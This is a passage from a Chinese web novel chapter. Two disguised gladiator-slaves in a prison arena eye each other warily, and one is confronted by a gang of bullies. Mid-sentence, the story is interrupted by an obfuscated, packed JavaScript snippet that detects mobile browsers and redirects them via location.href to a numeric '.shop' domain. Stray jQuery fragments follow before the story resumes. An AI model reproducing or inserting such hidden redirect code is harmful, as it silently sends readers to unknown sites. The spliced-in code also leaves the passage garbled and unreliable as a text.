地下黑牢幽暗潮湿,大部份斗奴还在呼呼大睡。
只有一人,醒得格外的早。
郯昼摸摸自己黏湿的脖子,大汗淋漓,双眼逐渐变得幽深。
自从掌握兵权后,他已经好久没有做过恶梦了。
更何况是这种关于儿时,以及......一个女人的梦。
郯昼静立不动,目光落在某人身上。
土豆背对着自己,睡得正沉,那姿态全然放松,平稳的呼吸声在空气中隐约可闻。
他的颈脖修长,光洁如瓷,竟连耳后极细的绒毛也分明可见。
倏地有一刻,郯昼冒出了很想弄死他的念头。
昨日必定是自己太过仁慈了,才会有那种想要放土豆一马的可笑想法。
“......”
郯昼闭上眼,挡住了眼中翻腾的眸光,很是讨厌这种不受控制的感觉。
就算土豆在梦中滑稽地成了女人,他也要让她成为死人一个,自己的鸿图霸业不会被任何人扰乱。
待郯昼回神时,他已立在营之茴身侧,干净白皙的大手骨节分明,仿佛许久没有畅饮鲜血,竟随之搭在营之茴脆弱的脖子上......
这脖子真是纤幼,轻轻一折就断气了。
若隐若现的血管随着脉搏跳动,旺盛的生命力在他掌下流淌,却令郯昼瞳仁中产生一种接近疯狂的念头。
去死吧!
不管你是我南嵨子民,或是敌国探子,死在我的掌下都是你的荣耀,是南嵨未来鼎盛国运的奠基!
郯昼心中似一头暴动的雄狮咆哮着,甚想快刀斩乱麻了却心底这一缕奇怪念想,指尖同时用力收紧......
“今日开赛地点设为后山禁地,限半个时辰内到山脚下集合!半个时辰后,整个黑牢将会清场,如有违者,一律斩首!”
骤然间,一声响遍整个黑牢的意料之音,遽然打断了郯昼的动作。与此同时,狱吏来到斗奴的牢房前,逐一开锁。
“啊?怎是后山禁地?他们想做什么?”
斗奴逐渐迷迷糊糊地醒来,有一些洞察先机的人早已急忙一涌而出,争先恐后地离开这破地方。
他们知道以檀城斗兽场的脾性,绝对不是大发慈悲,网开一面。这举动后面,必然是有更残酷的局面在静候他们。
郯昼紧皱眉心,从营之茴的脖子上收回了手。
随着咔嚓的一声,牢门开了。
牢狱外,那些蜂拥的人群犹似长久以来锁进笼里的鸟儿,获得一丝能飞出笼外的机会,就拼命地捉住。
机会自当要珍惜,杀人亦是。
外面那么大的动静,然而土豆依然没有被吵醒,只是轻轻翻了一个身,继续倒头大睡,脸上挂住浅浅微笑。
他的梦似乎很甜美,不像自己的。
郯昼知道,倘若错过了此次机会,来日必然不能再度如此悄然无声地靠近土豆的颈脖了。
“走吧。”
郯昼自言自语,嗓子轻得像是从来都没有出现过。
“我自会在比赛中,杀掉他。”
郯昼不急于此时。他会亲自在赛中杀掉土豆,以破他的梦中心魔。
待郯昼走后,这个地下黑牢几乎只剩下营之茴一人了。
伴随着鸦睫颤动,她安静地睁开眼眸,似乎一早就醒过来了。
营之茴盯着空无一人的牢房,嘴边蓦地绽放一抹灿烂微笑。
“原来你是这样的人啊,小鱼饼。”
“看来,你还不够信任我呢。”
不过营之茴毫不灰心,她有的是方法。
在这杀人如麻的地方,营之茴其实打从一开始压根儿就不相信这个自称是傻子的十九少年了。
他能装,她又为何不能?
营之茴很是不喜杀人这种血腥的方法来解决问题,但倘若杀人是活下去唯一的方法......
“我同样,不会在比赛中手下留情。”
......
骄阳似火,赤日炎炎。
山脚下,人群被晒得昏沉迷糊,却不得不强打起十二分精神,警惕地扫视四周。
尤其是高台上那些来自五湖四海的宾客,随意打量斗奴的目光不像在看人,倒像在审视一批待价而沽的货物。
营之茴是最后一个抵达山脚的,她姗姗来迟的模样引来周遭一片厌弃的目光,纷纷离她远点,可不想给她拖累。
“喔?”
但营之茴满不在乎,目光反而放在了十米开外的景象。
五道魁梧的身影密不透风地围住了鱼饼,面目不善。
“哟,我看是谁,原来是你这小废物呀!那么重的鞭子打下去,你居然没有在昨日死去吗?”
五人中,为首的独眼男人格外醒目,仅剩的眼睛目光阴鸷,肆无忌惮地打量着郯昼。然而,他薄唇紧闭并未出声,率先开口奚落的,反倒是他身旁那急于表现自己的跟班许福。
郯昼被堵在五人之中,一如年少时被堵墙角任人欺辱,不好的回忆骤然在脑海中浮现,情不自禁地从唇齿间挤出一声冷笑,“呵。”
哪儿来的蠢货?
由于郯昼比许福高出一个头,他淡淡垂眸,居高临下地斜瞥着许福,尽显高冷尊贵,居然令许福莫名其来地心头一慌。
“看什么看!你小子是找死吗?”许福暴跳如雷,勃然大怒。
小废物居然没有像其他人一样跪地求饶?!
许福感觉自己被废物挑衅了,但他也不敢贸然上前动手,这小白脸给他的感觉不太妙,只得佯装挥拳。
“许福啊,碍眼无用的废物,确实不配在这个世道上生存。”独眼男人依旧坐在大石块上,淡淡地环抱双臂。
言下之意,倘若许福连这芝麻般点的小事也做不好,他也不用在这世上存活了。
许福猛地吞了吞口水,不想在大哥面前显得自己似个无用的废柴,免得大哥亲手解决自己,霎时硬着头皮,卷起衣袖亮出拳头,准备动手。
就在拳头落下的那一瞬,郯昼探进?子,正准备取出预先藏好的小刀,然而才刚捉住刀柄,眼角余光却忽地瞥见斜后方四点钟方向一抹既陌生又熟悉的影子。
......土豆?
郯昼眉毛一皱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318996|199021||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心中警钟大响,自己的小傻子人设万万不可以在此时功亏一篑。
于是他原本想要还击的手陡然松开了刀柄,不知怎的脚步一闪,竟恰恰避开了许福的拳击。
“欸?怎么......”
许福从来没有失手过,尤其是对着废柴,可拳头就是落在了一团空气中,让他有点措手不及。
他没反应过来,对方已率先摔倒在地,狼狈异常。
“你、你们别欺人太甚!”
十九岁的少年,摸着自己发疼的屁股,甚至还痛得飙出了几滴眼泪,可怜兮兮地挥拳抗议这不公平的对抗。
果不期然,下一秒他听到了那把悦耳如同清泉的嗓音。
“住手!”
营之茴终于从挤迫的人潮中及时赶了过来,挡在郯昼的面前,两手护住了他。
“五个大男人欺负一个小孩,难道你们不感到羞耻吗?”
“土豆......哥哥?”
被她护在怀里的少年,迷人的桃花眼里露出了惊愕之情,似乎不曾预料过她的到来。
这小鱼饼,还在这里跟我装吃惊呢!
营之茴心底暗忖,表面却温柔地冲他一笑。
“别怕,有我在。”
“对付这种男人嘛,何须硬碰硬呢?只需要用卑鄙下流的手段即可。”
不等旁人回过神来,营之茴勾起一抹意味深长的微笑,旋即伸出腿往前方猛力一踢,正中红心。
“啊啊啊啊啊!”
许福当即痛得跳脚起来,两手护住了自己的命根子,面色憋得涨红,嗷嗷大叫。
“老大,他竟然......!”
其他三个小跟班,登时倒抽一口凉气,仿佛已经感同身受,感受到下身传来的火热痛楚,不约而同地望向他们的大哥。
坐在石头上的独眼男人终于慢条斯理地站起来,危险地眯着眼,挑起眉毛。
他走得沉稳,一步一步朝弱小的营之茴和郯昼二人走来,杀气腾腾的气息缠绕在他身侧,仿佛形成了实体。
营之茴心头莫名其妙地感觉此人实力高深,不容小觑,但还是笑脸迎人。
“恃强欺弱是不好的品德哦!哈哈哈,我就先带我家小弟走了......”
营之茴说着就走,伸手抓住郯昼的手腕,一点也没有多留在这里的意思。
这个是非之地啊,爱谁谁留。
若非为了获得鱼饼的信任,她才不插一脚呢!
郯昼自然察觉到这里剑拔弩张的气氛,顿时非常乖巧地垂头跟着她走,尝试瞒天过海,偷偷摸摸地走。
“得罪了我的人,就想这么走了?”
独眼男人虽然只剩一只眼睛了,但自然也不是盲的。他挑了挑眉毛,挡在两人的身前,后而意味深长地笑了起来。
彪形大汉的身躯投下的阴影,弥漫着淡淡死神的气息,笼罩着两只弱小的影子。
“老大,打死他!干死他!”
独眼男人身边的小弟兴奋地叫嚷了起来,尤其是还捂着下面的许福最为明显,异常激动,他们已经许久没看过老大亲自出手了。